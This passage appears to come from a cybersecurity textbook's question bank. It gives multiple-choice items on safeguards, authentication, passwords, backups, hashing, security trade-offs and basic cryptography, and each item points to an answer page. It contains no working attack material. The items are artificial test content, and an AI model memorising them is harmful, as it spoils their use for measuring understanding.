Answer: page 1051

0004.b.1.4

A patient portal is breached. Thousands of records are read and posted online, although no record is altered and the portal remains usable throughout. Which statement best describes the effect of the breach?

A. Unauthorized people have read data, so the loss is one of confidentiality.

B. Records are now in two places, so the loss is one of integrity.

C. The portal's design is at fault, so the loss is one of scalability.

D. Patients have been harmed by the posting, so the loss is one of availability.

Answer: page 1051

0004.b.1.5

A security team proposes keeping a school's grade database disconnected from the network except for one hour a day, in order to reduce exposure. Teachers object. Which description of the proposal's effect is most accurate?

A. greater resilience to server failure, because the database is held in more than one place

B. more accurate grades for students, because each entry is checked during the connected hour

C. fewer chances for outsiders to read grades, and fewer hours in which teachers can use them

D. less work for teachers overall, because grades are entered together in a single hour

Answer: page 1051

Physical safeguards

0004.b.2.1

A school keeps its main network equipment in an unlocked closet beside a busy hallway. Anyone passing could unplug or tamper with it. Which safeguard most directly addresses this risk?

A. a locked room with controlled access for the equipment

B. a stronger password for the school's wireless network

C. a training course on recognizing fraudulent email messages

D. an encrypted backup of each device's configuration file

Answer: page 1051

0004.b.2.2

Which measure controls who can reach a building's server room?

A. phishing training for all of the staff

B. a firewall at the boundary

C. antivirus software on each of the servers

D. an access badge reader at the door

Answer: page 1051

0004.b.2.3

A company has strong firewalls and encrypts its network traffic, but a visitor left alone in a conference room plugs a small device into an active network port in the wall. Which additional control most directly addresses this gap?

A. disabling unused ports and supervising visitors in the building

B. adding a second Internet connection to the building for redundancy

C. encrypting the files stored on the company's servers

D. requiring longer passwords for all of the company's employee accounts

Answer: page 1051

0004.b.2.4

A school stores a cart of shared laptops in an open classroom, and several have disappeared overnight. Which measure most directly addresses these losses?

A. locking the cart and keeping it in a secured room

B. installing a virtual private network on each of the laptops

C. setting a shorter screen timeout on each laptop

D. requiring a stronger password for each laptop's user account

Answer: page 1051

0004.b.2.5

A server room's door is covered by security cameras, and recordings are kept for ninety days. Which function do the cameras serve most directly?

A. filtering the traffic that passes between servers and users

B. discouraging unauthorized entry and recording who enters the room

C. stopping malicious software from spreading across the network

D. encrypting the data held on the servers inside of the room

Answer: page 1051

Digital safeguards

0004.b.3.1

A software vendor releases a fix for a flaw in its web server, but a company leaves the fix uninstalled for a month. An attacker then uses that same flaw to enter the company's network. Which safeguard failure is most direct?

A. a lapse in intrusion detection software

B. a lapse in staff awareness training

C. a lapse in applying regular patches

D. a lapse in controlling physical access

Answer: page 1051

0004.b.3.2

An organization wants internal database servers to be unreachable from the Internet, while its public web server remains reachable. Which safeguard is designed to enforce this separation?

A. full-disk encryption that protects each server's stored information

B. a firewall that allows or blocks traffic according to set rules

C. a nightly backup that copies each database to a second location

D. antivirus software that scans the files on each of the servers

Answer: page 1051

0004.b.3.3

An organization wants its security staff to be alerted when traffic patterns suggest that an attack is in progress. Which tool is designed for this purpose?

A. a password manager

B. an intrusion detection system

C. a full-disk encryption tool

D. a backup appliance

Answer: page 1051

0004.b.3.4

After installing antivirus software on all of its computers, a company's managers conclude that malware is no longer a concern. Which limitation should they recognize?

A. The software loses its protection once the computer joins a public wireless network.

B. The software protects stored files but does not examine programs.

C. The software disconnects each computer from the Internet whenever it is scanning.

D. New or customized malware may not match anything the software can recognize.

Answer: page 1052

0004.b.3.5

A security plan pairs a firewall with encryption, access controls, and monitoring, so that the failure of any one of them does not expose everything. This approach is known as:

A. redundancy.

B. defense in depth.

C. least privilege.

D. security through obscurity.

Answer: page 1052

Behavioral safeguards

0004.b.4.1

After a recent incident, a company's security team begins sending staff harmless messages built to resemble real scams. Those who click are shown a short page pointing out the clues that they missed. The program's main value lies in:

A. confirming that the encryption on the mail server is working correctly.

B. replacing the need for technical controls on incoming email.

C. giving staff practice at spotting scams before a real one arrives.

D. collecting staff passwords in order to check that they meet company policy.

Answer: page 1052

0004.b.4.2

A teacher leaves a classroom for five minutes while the gradebook remains open on a computer within reach of students. Which habit most directly addresses this risk?

A. locking the screen each time the computer is left unattended

B. saving the gradebook to the school's server before stepping out

C. changing the gradebook password at the start of every semester

D. keeping an extra copy of the gradebook on a USB drive

Answer: page 1052

0004.b.4.3

An accounts clerk receives an email that appears to come from a regular vendor, asking that all future payments go to a new bank account. Taking which step would most directly protect against fraud?

A. replying to the email and asking the sender to confirm the new account

B. calling the vendor at a number already on file to confirm the change

C. checking that the email carries the vendor's logo and usual signature

D. paying a small amount to the new account to test that it is working

Answer: page 1052

0004.b.4.4

A school's annual security training is a long video that all staff must watch, and its rate of security incidents has not changed in three years. Which change is most likely to improve results?

A. a new firewall purchased with the funds saved by ending the training

B. a longer annual video that covers more of the technical terminology

C. a test of security vocabulary that staff must pass once each year

D. short, frequent exercises that give feedback on realistic situations

Answer: page 1052

0004.b.4.5

Hospital staff often leave workstations logged in because entering a password takes too long during emergencies. Which response is most likely to reduce this behavior?

A. issuing written warnings to staff found near an unlocked workstation

B. requiring a longer password each time a member of staff logs in

C. removing the automatic locks so that clinical work is not interrupted

D. pairing a quick badge login with automatic locking of idle workstations

Answer: page 1052

Multifactor authentication

0004.b.5.1

An attacker buys a list of valid usernames and passwords and tries to log in to a company's remote access portal. Which safeguard would most directly stop this attack, even if a password is correct?

A. multifactor authentication

B. a stronger website certificate

C. full-disk encryption

D. a longer password policy

Answer: page 1052

0004.b.5.2

A website asks for a password and then for the answer to a security question, and it advertises this login as "two-factor." An auditor disagrees with the claim. The auditor's reasoning is most likely that:

A. both items are things the user knows, so they count as one type of factor.

B. the security question is stored by the site, whereas a true factor is never stored there.

C. neither item is encrypted when sent, so neither counts as a factor.

D. a second factor must be a fingerprint or face scan, so the question does not qualify.

Answer: page 1052

0004.b.5.3

A company is comparing four login designs for its staff. Which design combines two different types of authentication factor?

A. a password followed by a code from an app on the user's phone

B. a password followed by the answer to a secret question

C. a key card followed by a metal key for the server room door

D. a fingerprint scan followed by a face scan on the same phone

Answer: page 1052

0004.b.5.4

A company's logins require a password and a one-time code sent by text message. An analyst warns that one kind of attack can still succeed against this design. Which attack is the analyst most likely describing?

A. a password recorded by a keylogger, and then entered from a distant computer

B. a password leaked by another website, reused by someone without the phone

C. a password guessed from a list of common choices by a remote attacker

D. a fake login site that forwards each code to the real site as it is typed

Answer: page 1052

0004.b.5.5

With funds for only a partial rollout this year, a company must decide where to require multifactor authentication first. Which accounts should receive it first?

A. accounts with read-only access to the staff lunch menu

B. accounts issued to visitors for the guest wireless network

C. accounts used for booking meeting rooms in the main office

D. administrator accounts and accounts used for remote access

Answer: page 1052

Strong passwords

0004.b.6.1

An audit finds that one employee keeps a separate, long, random password for each site in a password manager. A colleague worries that this places "all the eggs in one basket." Which response is most accurate?

A. The manager's design removes any need for a master password, so there is no longer a single point of failure.

B. The manager's encryption makes it safe to reuse one password, so one strong password is all that is needed.

C. The manager's master password needs protection, but one site's breach no longer unlocks other accounts.

D. The manager's passwords are shorter than usual, so an attacker has fewer of them to steal in a breach.

Answer: page 1052

0004.b.6.2

A teacher has long used the same memorable password for about thirty websites. Switching to a password manager would most directly help the teacher by:

A. preventing fraudulent messages from reaching the inbox.

B. making each website encrypt the data it stores about the teacher.

C. removing the need to lock the teacher's computer when leaving it.

D. making a different long password for each site practical to use.

Answer: page 1052

0004.b.6.3

A site accepts passwords of any length. Which choice would best resist an attacker's guessing?

A. a long passphrase of unrelated, randomly chosen words

B. a short string of mixed letters, digits, and symbols

C. a common word with `@` replacing each letter `a`

D. the name of a pet followed by the owner's birth year

Answer: page 1052

0004.b.6.4

A student's email password is strong, but it is the same as the student's password on a small hobby forum. The forum announces that it has been breached. The student's most urgent step is to:

A. replace that password on the forum, the site that was breached.

B. delete messages stored in the email account, because the forum may be able to read them.

C. replace that password everywhere it was used, with a new one for each site.

D. wait for a personal notice from the forum, because a notice is the usual proof that the account was affected.

Answer: page 1052

0004.b.6.5

A staff member proposes improving a password by replacing `a` with `@`, while a colleague proposes adding several random characters. Which statement best explains why the colleague's approach is stronger?

A. Longer passwords are stored using a stronger algorithm than shorter ones are.

B. Added length multiplies the possibilities, whereas common substitutions are predictable.

C. Symbols such as `@` are removed by many systems when passwords are stored.

D. Substitutions make a password shorter than it was before the change was made.

Answer: page 1052

Least privilege and access control

0004.b.7.1

A staff member shares a folder of employee evaluations using an "anyone with the link" setting, reasoning that the link is unlisted and that nobody else could find it. Which statement best identifies the flaw in this reasoning?

A. Anyone who obtains the link can open the folder, because no person is identified.

B. Search engines list shared links within a day, which makes secrecy unlikely.

C. Evaluations should not legally be stored in shared folders, whichever sharing setting is used.

D. Unlisted links stop working after a short time, so readers lose access.

Answer: page 1053

0004.b.7.2

An intern joins a finance office and needs to enter invoices. To save time, IT proposes copying the permissions of the intern's manager, who approves payments and edits budgets. A sounder approach is to give the intern:

A. the manager's permissions until a problem arises with them.

B. the same permissions as all other members of the office.

C. only the permissions that entering invoices requires.

D. the manager's permissions during office hours.

Answer: page 1053

0004.b.7.3

A web application only ever reads one table, yet the database account it uses has rights to delete every table. Which change best addresses the risk that this arrangement creates?

A. moving the database to a larger server with more storage

B. limiting the account to read access on that one table

C. adding a longer and more random password to the same account

D. recording every query while leaving the account's rights in place

Answer: page 1053

0004.b.7.4

Over ten years, an employee moves through four departments and keeps the access granted in each. A review now finds that the employee can reach far more than any single role requires. This problem and its remedy are best described as:

A. role rotation, addressed by keeping staff in place.

B. an insider threat, addressed by firing the employee at once.

C. privilege creep, addressed by regular reviews of access.

D. credential stuffing, addressed by requiring unique passwords.

Answer: page 1053

0004.b.7.5

A help desk technician's job is to reset passwords, but the technician's account holds full administrator rights on all servers. An attacker steals the account. Which statement best describes the resulting risk?

A. The attacker gains the ability to reset passwords, as the job requires.

B. The attacker gains little, since a stolen password can be reset by the company.

C. The attacker gains far more access than the technician's job requires.

D. The attacker is likely to be limited to the technician's own computer.

Answer: page 1053

Backups and redundancy

0004.b.8.1

A small nonprofit keeps its only copy of its donor database on an office computer. It wants to follow the 3-2-1 rule. Which arrangement best meets the rule?

A. the original, a copy on an external drive, and a copy off site

B. the original, and two external drives kept beside the same computer

C. the original and two copies on the same computer's internal drive

D. three printed copies of the database stored in one filing cabinet

Answer: page 1053

0004.b.8.2

A firm keeps three copies of its records, one on a server and two on external drives, all in the same office. A flood destroys the office and all three copies. Which practice would most directly have prevented the total loss?

A. keeping the external drives connected to the server

B. keeping a fourth copy on another drive in the office

C. keeping one of the copies at a separate location

D. keeping all three copies on the same type of drive

Answer: page 1053

0004.b.8.3

A company's backups run every night, but no one has ever tried restoring from them. During a ransomware incident, the staff discover that the backups are corrupted. Which practice was most clearly missing?

A. regularly testing restoration from the backups

B. running the backups less often to reduce wear

C. compressing the backups before they are stored

D. storing the backups on the server they protect

Answer: page 1053

0004.b.8.4

A clinic's appointment service runs on a single server, and a failed disk recently took bookings offline for a full day. Which measure most directly addresses this weakness?

A. an encrypted connection for each patient using the booking page

B. a stronger hash function for the passwords stored by the service

C. a stricter policy on which staff may change appointment records

D. a second server that continues the service when the first one fails

Answer: page 1053

0004.b.8.5

A user accidentally overwrites a report, and the change syncs to cloud storage within seconds. Which feature would most directly recover the report?

A. version history that restores an earlier copy of the file

B. a mirrored drive that copies each change as soon as it is made

C. a stronger password for the cloud storage account

D. a faster connection for syncing files to the cloud

Answer: page 1053

Air gap

0004.b.9.1

A research lab keeps a computer holding its most sensitive data air gapped. An employee later brings an infected USB drive to the machine. Which statement best describes the safeguard's protection in this situation?

A. It eliminates all access, so a USB drive cannot transfer any files to the computer.

B. It eliminates remote access, but it does not stop threats carried in physically.

C. It filters incoming files, so the infection would have been blocked at the drive.

D. It encrypts all connected drives, so the malware cannot be run on the computer.

Answer: page 1053

0004.b.9.2

A laboratory is reviewing four proposed configurations for a computer that holds its most sensitive research. Which configuration actually places the computer behind an air gap?

A. a computer reachable through a monitored gateway server

B. a computer with its network and wireless hardware removed

C. a computer behind a firewall that blocks all incoming traffic

D. a computer with an encrypted tunnel to the lab's headquarters

Answer: page 1053

0004.b.9.3

Staff must carry data by hand to and from any system that has no network connection of any kind. For which system would this inconvenience be most justifiable?

A. a control system for a nuclear power plant

B. a school's portal for messages to families

C. a retailer's website for customer orders

D. a public library's online catalog of books

Answer: page 1053

0004.b.9.4

A team installs a wireless card in a machine that had no outside connections, describing the card as "just for updates." Which is the main consequence of this change?

A. A network path now exists, so the machine no longer has its earlier protection.

B. The machine no longer needs physical security, since it can be managed remotely.

C. The earlier protection remains, since the card is intended only for updates.

D. The updates become faster to apply, and the machine's security is unaffected.

Answer: page 1053

0004.b.9.5

A utility is considering removing all network connections from a sensitive computer. Which is the main operational cost that it should expect?

A. Moving data and applying patches become harder.

B. The computer is unable to run many of its programs.

C. The computer needs more frequent repairs.

D. The computer's stored files become hard to open.

Answer: page 1053

Hashes and integrity checking

0004.b.10.1

A software site publishes a SHA-256 value beside its installer. A user downloads the file from a mirror and computes the same value. What does a match most directly show?

A. The file's author can be identified by anyone who has the published value.

B. The file's contents were encrypted during transfer from the mirror to the user.

C. The file has not been altered from the version that the published value describes.

D. The file contains no malware of any kind, including in the original version.

Answer: page 1053

0004.b.10.2

A school's database stores a cryptographic hash of each user's password rather than the password itself. A staff member asks the vendor to decode the stored value for a user who has forgotten a password. The vendor cannot do so because a hash is:

A. an encrypted copy whose key is held by the database's manufacturer.

B. a compressed copy that discards the characters of the password.

C. a one-way fingerprint from which the input cannot be recovered.

D. a random value that has no relationship to the original password.

Answer: page 1053

0004.b.10.3

A student changes one character in a long document and then computes the document's cryptographic hash again. Compared with the earlier value, the new value is expected to:

A. grow by a single character.

B. remain exactly the same.

C. differ by one character.

D. look completely different.

Answer: page 1053

0004.b.10.4

A security team wants to learn whether anyone has modified a server's critical system files, without having to read through those files by hand. Which approach is most suitable?

A. renaming the files so that an intruder will find them harder to locate

B. moving the files onto a larger drive that has more free space

C. compressing the files together into one archive with a known size

D. recording each file's hash and comparing it on a regular schedule

Answer: page 1053

0004.b.10.5

A download page and its posted hash value are both served from one machine, and an attacker gains control of that machine. Why does a user's hash check offer little assurance here?

A. The attacker can replace both the file and the posted value.

B. Hash values are unreliable for files kept on web servers.

C. The file is protected from change once it has reached the user's computer.

D. The attacker can read the files that have no hash value, but not others.

Answer: page 1054

Securing a home router

0004.b.11.1

A family's new wireless router has a factory login for its settings page, and that login is listed in a manual anyone can download. Which step most directly prevents unauthorized changes to the router's settings?

A. replacing the factory login with a unique administrator password

B. switching off the router overnight while the family is asleep

C. turning on a guest network for any visitors to the home

D. moving the router to a room farther away from the street

Answer: page 1054

0004.b.11.2

A router's settings page offers four wireless security modes. Which should be selected?

A. WEP

B. no encryption, with a hidden name

C. WPA

D. WPA3

Answer: page 1054

0004.b.11.3

A router's remote administration feature is turned on by default, although its owner has never used it. Which is the best reason for disabling the feature?

A. It speeds up downloads for all of the devices connected to the router.

B. It closes a route by which outsiders could reach the router's settings.

C. It extends the wireless signal to more of the rooms in the owner's home.

D. It lets the router obtain a new address from the owner's Internet provider.

Answer: page 1054

0004.b.11.4

A security notice warns that a particular home router model has a flaw that attackers are exploiting, and that the manufacturer has released a correction. The owner of that model should:

A. update the router's firmware.

B. change the name of the network.

C. restart the router each day.

D. move the router to another room.

Answer: page 1054

0004.b.11.5

A homeowner configures a router so that it does not broadcast the network's name, believing that this will keep neighbors off the network. Which response is most accurate?

A. Hidden networks are prohibited by most providers, so the setting needs to be reversed at once.

B. Hidden networks are encrypted automatically, so an additional password is unnecessary.

C. Tools can still detect the network, so current encryption and strong passwords matter more.

D. Hidden networks are hard for devices to join, so the homeowner's own devices lose access.

Answer: page 1054

0004.c Security trade-offs

Read about this in the content summary: 0004.c, page 142.

Security versus usability

0004.c.1.1

A hospital sets workstation sessions to time out after one minute of inactivity. Clinicians begin taping keys down on their keyboards to keep sessions active. Which analysis of this outcome is most accurate?

A. The timeout has made sessions more secure in practice, since the policy is in effect.

B. The timeout should be removed, since a control drawing complaints adds no value.

C. Added friction led to a workaround that may leave systems less secure in practice.

D. The clinicians' behavior is not a security concern, since all of them are authorized.

Answer: page 1054

0004.c.1.2

A university requires a phone-based code at every login, including logins to the campus map and the cafeteria menu. Complaints rise, and some staff begin sharing codes with coworkers. The policy's main drawback is best described as:

A. redundancy among the login systems that lowers the integrity of records.

B. friction on low-risk tasks that pushes users toward unsafe shortcuts.

C. bandwidth used by the codes that slows the campus network for all users.

D. storage used by the codes that fills the university's central database.

Answer: page 1054

0004.c.1.3

A school wants stronger login security, but its youngest students have no phones and struggle with long passwords. Which approach best balances these concerns?

A. phone-based codes for each user, with the school lending phones when needed

B. one shared login for each class, so that students are unlikely to forget it

C. no passwords for young students, since they struggle to keep them secret

D. simpler methods for low-risk apps and stronger ones for sensitive systems

Answer: page 1054

0004.c.1.4

A company's password rules are so burdensome that staff keep their passwords in a shared spreadsheet. Before changing any technology, the security team wants to understand the problem. Which first step is most appropriate?

A. examining how people work, and then choosing controls that they can follow

B. raising the minimum password length, so that the spreadsheet becomes impractical

C. banning spreadsheets across the company, while leaving the password rules in place

D. asking managers to read the spreadsheet, so that they can spot any weak passwords

Answer: page 1054

0004.c.1.5

A banking app logs users out after five minutes, whereas a recipe app keeps users logged in for months. Which principle best explains why both choices may be reasonable?

A. Session length should reflect how much harm a hijacked session could cause.

B. Session length should reflect how often users visit.

C. Session length should reflect each user's age and skill.

D. Session length should reflect the device used to log in.

Answer: page 1054

Confidentiality versus availability

0004.c.2.1

A district restricts its special education files so tightly that a substitute teacher cannot see a student's required accommodations during class. Which statement best evaluates this policy?

A. It weakens protection of the files, because a substitute could be given the information.

B. It damages the accuracy of the files, because a substitute may misremember the details.

C. It protects sensitive files, but it blocks access that a legitimate user needs.

D. It raises the number of copies held, since each school keeps its own.

Answer: page 1054

0004.c.2.2

A district narrows access to student health files from all staff to one nurse at each school. Previously, teachers could consult the files directly when a student became unwell. Which drawback is this change most likely to create?

A. Staff with a genuine need may be unable to reach the information in time.

B. Outsiders will find it easier to read the files, because fewer people watch them.

C. Records will become less accurate, because nurses are less careful than teachers.

D. Files will take up more space, because each nurse needs a private copy.

Answer: page 1054

0004.c.2.3

An emergency room needs immediate access to patient records even when a clinician's usual login is unavailable, and those records are highly sensitive. Which design best serves both needs?

A. a shared password posted on the wall for use during emergencies

B. open access for hospital staff, with no record of its use

C. emergency access that is logged and reviewed after each use

D. no emergency access, so that the login rules apply without exception

Answer: page 1054

0004.c.2.4

A company encrypts its archived files and gives the only key to one executive, who then leaves unexpectedly and cannot be reached. Which assessment of the company's position is most accurate?

A. The files are well protected from outsiders, but the company cannot use them either.

B. The files are readable by staff again, because the encryption ended with the executive's departure.

C. The files are exposed to outsiders, because a departing executive's key becomes public.

D. The files have been altered, because each key is unique to its holder.

Answer: page 1054

0004.c.2.5

A classroom's web filter blocks a health education site as "adult content," and students cannot complete an assigned reading. Which response best balances protection and access?

A. having the students use unmonitored personal hotspots in class

B. dropping the reading and leaving the filter's rule as it stands

C. turning off the filter for the entire network of the school

D. reviewing the block and allowing that specific educational site

Answer: page 1054

Security versus privacy

0004.c.3.1

A company's security team proposes recording all employee web traffic, including full page contents, in order to improve threat detection. Which analysis best identifies the trade-off involved?

A. More detail weakens detection, because large logs interfere with firewall operation.

B. More detail has no privacy cost, because all of the traffic takes place at work.

C. More detail improves detection, but it collects more information about employees.

D. More detail lowers storage needs, because logs replace other copies of the data.

Answer: page 1054

0004.c.3.2

A school installs a tool on school-issued laptops that records each site visited and each file opened, in order to spot compromised devices faster. Which concern does this most directly raise?

A. the amount of information collected about students' activity

B. the reliability of the backup system for the school's servers

C. the speed at which students are able to type on the laptops

D. the size of the school's network and its number of devices

Answer: page 1054

0004.c.3.3

A school wants enough logs to investigate incidents, while limiting the effect on students' privacy. Which policy best achieves both aims?

A. collecting broad data, keeping it for many years, and encrypting the archive

B. collecting broad data, but not informing families about the collection

C. collecting what is needed, keeping it briefly, and limiting who can read it

D. collecting nothing, since a log can reveal the activity of students

Answer: page 1055

0004.c.3.4

A company configures its firewall to decrypt employees' encrypted web traffic so that the traffic can be scanned for malware. Which concern does this approach most directly raise?

A. Encrypted traffic is blocked from travelling across the public Internet.

B. Personal traffic, such as online banking, becomes visible to company systems.

C. Malware becomes less of a threat, so other controls become unnecessary.

D. The firewall will have to stop applying its other rules to the company's traffic.

Answer: page 1055

0004.c.3.5

A district plans to use security monitoring on student devices, and a parent group has asked how the program will affect students' privacy. Which additional practice best addresses the group's concerns?

A. telling families what is monitored and why

B. keeping the program secret to prevent evasion

C. sharing individual results with other families

D. monitoring students at first login alone

Answer: page 1055

Security versus performance

0004.c.4.1

An engineering manager at a news site is told that moving to encrypted web connections will add a slight delay when pages first load. The manager asks where this delay comes from. Which answer is most accurate?

A. the repeated encryption of stored articles on the site's disks for each visitor

B. the setup of each encrypted connection, before page data begins to flow

C. the doubling of each file's size, which makes pages twice as long to send

D. the routing of each request through a certificate authority for approval

Answer: page 1055

0004.c.4.2

An IT team enables encryption, file scanning, and detailed logging on a server that was already near capacity, and users soon report slower responses. Which explanation is most likely?

A. The added security measures have opened the server to new attacks.

B. The added security measures consume processing and network resources.

C. The added security measures have damaged files stored on the server.

D. The added security measures have locked some of the users' accounts.

Answer: page 1055

0004.c.4.3

A company's full-disk encryption slows heavy database workloads by about 3%. The database contains customers' financial records, and a manager has asked whether the encryption should stay. Which decision is most reasonable?

A. accepting the small cost, because of the sensitivity of the data

B. moving the data to a public server, so that others can share the workload

C. removing the encryption, so that workloads run at full speed

D. removing customers' records, because records create the need for encryption

Answer: page 1055

0004.c.4.4

A team finds that a malware scanner that runs on each file access is making its software build server very slow. Which change best balances security and performance?

A. uninstalling the scanner and relying on the developers' judgment about files

B. scanning every file twice so that any malware is more reliably identified

C. tuning scans to skip trusted build folders, with full scans on a schedule

D. moving builds to employees' personal computers, which have no such scanner

Answer: page 1055

0004.c.4.5

A company turns on maximum-detail logging across its busiest web servers, and response times double. The security team needs records only of logins and administrator actions. Which change is most appropriate?

A. moving the logs onto the web pages, which spreads the load across visitors

B. encrypting each log entry twice, which offsets the additional processing time

C. turning off all logging, which restores the original speed of the servers

D. recording those events only, which preserves most of the value at less cost

Answer: page 1055

Security versus cost

0004.c.5.1

A small nonprofit has a limited security budget. A consultant lists several risks with estimates of their likelihood and impact. Which approach to spending is most defensible?

A. buying the most expensive tool, since the cost shows how effective it is

B. addressing the most recent incidents in the news, since they are most visible

C. spreading the budget evenly across all of the risks that have been listed

D. prioritizing the risks with the highest combination of likelihood and impact

Answer: page 1055

0004.c.5.2

A school's risk review rates three risks. A stolen staff password is likely and severe, a flood in the server room is rare and severe, and a defaced lunch menu page is likely and minor. Funding should go first to:

A. all three risks, in equal shares.

B. the defaced lunch menu page.

C. the flood in the server room.

D. the stolen staff password.

Answer: page 1055

0004.c.5.3

A safeguard would cost a business $50,000 per year. The loss that it is designed to reduce is estimated at $5,000 per year, and that loss is purely financial. Which assessment is most reasonable?

A. The safeguard is required, since risks must be removed.

B. The safeguard costs far more than the loss it would reduce.

C. The safeguard pays for itself, since the two figures are similar in scale.

D. The safeguard is inexpensive, since its cost is spread across a year.

Answer: page 1055

0004.c.5.4

A district buys an expensive system that detects suspicious activity, but it has no staff available to review the alerts that the system produces. This situation best illustrates that:

A. a safeguard's automation means that staff time can be excluded from planning.

B. a safeguard's alerts are a sign that the district's data has already been stolen.

C. a safeguard's purchase price is the main measure of the protection it provides.

D. a safeguard's real cost includes the staff time needed to make use of it.

Answer: page 1055

0004.c.5.5

A company declines to patch a server that has a published flaw, arguing that the server has never been attacked. Which response best addresses this reasoning?

A. A clean history shows that attackers have already assessed and rejected the server.

B. A clean history does not lower the risk that a known flaw presents.

C. Patches are applied after an attack has been confirmed.

D. Older servers are rarely attacked, so the patch can wait until the next upgrade.

Answer: page 1055

Password policy trade-offs

0004.c.6.1

A company requires all employees to change their passwords every 30 days. An audit finds that passwords such as `Spring2031!` become `Summer2031!`. Which conclusion is most consistent with current guidance?

A. Frequent forced changes should be made more often, so that predictable patterns have less time to work.

B. Frequent forced changes are effective, since each new password differs from the one before it.

C. Frequent forced changes lead to predictable patterns, so changes should follow suspected compromise.

D. Frequent forced changes should be replaced by shorter passwords, which are easier for employees to recall.

Answer: page 1055

0004.c.6.2

A college is rewriting its password policy to reflect current guidance. Which version should the committee adopt?

A. personal words that are easier for users to remember

B. short, complex passwords, changed by users each month

C. a single strong password reused across a user's college accounts

D. long, unique passwords, changed when compromise is suspected

Answer: page 1055

0004.c.6.3

During account creation, a password checker rejects any password that appears on published lists of breached passwords. Which goal does this feature most directly serve?

A. limiting users to one account on each site that they use

B. forcing users to change passwords on a strict monthly schedule

C. blocking passwords that attackers are likely to try first

D. limiting users' choices to words from a standard dictionary

Answer: page 1055

0004.c.6.4

A policy requires an uppercase letter, a lowercase letter, a digit, and a symbol, and it sets a maximum length of 8 characters. Which is the policy's main flaw?

A. The use of digits stops the password from being stored as a hash value.

B. The maximum makes passwords too long for most databases to store correctly.

C. The low maximum limits strength, and users respond with predictable choices.

D. The character rules make passwords impossible for staff to remember or enter.

Answer: page 1055

0004.c.6.5

A company's staff are told that a vendor breach may have exposed the passwords they use on the vendor's site. The company's next scheduled password reset is three months away. The company should:

A. wait for the scheduled reset, since a set schedule is what protects accounts.

B. require affected users to change those passwords now and warn against reuse.

C. take no action, since the breach occurred on a system outside the company.

D. require shorter passwords, since staff will find them easier to replace.

Answer: page 1056

Patch timing

0004.c.7.1

A security flaw is disclosed in software that runs a hospital's scheduling system. The vendor offers a patch that has not been tested with the hospital's other systems. Which plan best balances the risks?

A. declining the patch for now, since the system is currently working as expected

B. patching production at once without testing, since known flaws outweigh other concerns

C. waiting until the next annual maintenance window, since patches can cause problems

D. testing quickly on a copy of the system, then patching promptly with monitoring

Answer: page 1056

0004.c.7.2

A vendor learns of a flaw in its software on the same day that attackers begin using it, and no correction yet exists. Such a flaw is known as:

A. a man-in-the-middle attack.

B. an insider threat.

C. a zero-day vulnerability.

D. a staged rollout.

Answer: page 1056

0004.c.7.3

A vendor announces that attackers are exploiting a flaw in its remote support tool and that a correction will take about two weeks. A college relies on the tool daily. Which plan is most appropriate in the meantime?

A. asking staff to change their passwords monthly until the correction arrives

B. restricting the tool's use and watching its logs until the correction arrives

C. taking no action, since no protective step exists until the vendor responds

D. reinstalling the current version, which replaces any flawed program files

Answer: page 1056

0004.c.7.4

An automatic update to a retailer's cash registers fails on a holiday weekend, and every register goes out of service at once. Which practice would have most reduced the impact?

A. releasing updates to a small group first, outside of peak sales periods

B. installing updates on all registers during the busiest sales hours

C. removing the backup registers to reduce the number of updates needed

D. disabling security updates on the retailer's cash registers altogether

Answer: page 1056

0004.c.7.5

A factory's machine control system is rarely patched, because downtime is costly and its software is old. Which measure best addresses the risk that remains?

A. isolating the system on a restricted network

B. sharing the system's password with all factory workers

C. removing the physical access controls around the system

D. connecting the system to the Internet for vendor support

Answer: page 1056

Third-party risk

0004.c.8.1

A district is considering an outside firm's online gradebook, which would save a year of development. Which step best keeps this advantage while managing the risk?

A. signing the contract now and asking about security at the first renewal

B. relying on the firm's list of well-known clients as evidence of its security

C. choosing the lowest bidder and setting aside the savings to pay for any breach

D. reviewing evidence of the firm's security practices before signing a contract

Answer: page 1056

0004.c.8.2

A review finds that an application's dependency list has grown to 140 packages, many of which no current feature uses. Which change most directly reduces the risk from outside code?

A. keeping the packages in place in case a future feature needs them

B. removing the unneeded packages and watching the remainder for updates

C. moving the list to a private file so that outsiders are unable to read it

D. freezing the list at its current versions and declining further package updates

Answer: page 1056

0004.c.8.3

A widely used software library receives a malicious update, which installs itself automatically in thousands of products within hours. Which practice would most directly have limited this risk for a product team?

A. removing the project's automated tests to shorten each release

B. pinning library versions and reviewing updates before adopting them

C. hiding the list of libraries used in the product from customers

D. installing each new version of a library as soon as it appears

Answer: page 1056

0004.c.8.4

A district's student data is exposed in a breach that occurs entirely within its learning platform vendor's systems, and the district's own servers are untouched. Which lesson does this incident best support?

A. Student data is safer on district servers, whatever the safeguards.

B. Learning platforms should be avoided, since their breaches are impossible to foresee.

C. Handing data to a vendor does not remove the need to manage its risk.

D. Vendor contracts make the vendor solely responsible for the district's data duties.

Answer: page 1056

0004.c.8.5

A development team with no security specialist compares writing its own login system with using a well-reviewed outside service. Which reasoning most strongly favors the outside service?

A. Specialists have tested it, whereas a custom system is likely to contain subtle flaws.

B. Using a service removes the need to protect the application's other data.

C. Custom login systems are prohibited for small companies under most security standards.

D. Outside services carry little risk, so the team would not need to assess them.

Answer: page 1056

0004.d Cryptography

Read about this in the content summary: 0004.d, page 144.

Plaintext, ciphertext, and keys

0004.d.1.1

The manual for a school's backup tool documents, step by step, the procedure that the tool applies to each file. Before a backup runs, an administrator types a secret 32-character value. Readable grade files go in, and unreadable files are written to the backup drive. The documented procedure, the secret value, and the unreadable files are, respectively:

A. the algorithm, the key, and the ciphertext.

B. the hash, the salt, and the plaintext.

C. the key, the algorithm, and the plaintext.

D. the algorithm, the plaintext, and the ciphertext.

Answer: page 1056

0004.d.1.2

A network technician captures traffic from a messaging service and sees only long strings of seemingly random characters. When the recipient's application processes those strings with the proper secret value, the original sentences reappear. The captured strings are best described as:

A. ciphertext, the output that decryption turns back into readable form.

B. metadata, the descriptive data a network attaches to each message.

C. plaintext, the form any message takes while crossing a network.

D. a key, the random-looking value needed to unlock a stored message file.

Answer: page 1056

0004.d.1.3

Two teachers each use the same published encryption program on an identical copy of a final exam. Each teacher types a different secret value when prompted. They then compare the two output files. Which result should they expect?

A. The files match, since the program replaces typed values with one internal value.

B. The files differ, and neither value recovers the exam from the other file.

C. The files differ, but either value recovers the exam, since the program is shared.

D. The files match, since the message and program alone fix the output.

Answer: page 1056

0004.d.1.4

A records clerk opens an archive that a colleague protected with a strong cipher. The clerk mistypes the secret value. The program finishes without an error message, but the resulting file is unintelligible. Which explanation is most accurate?

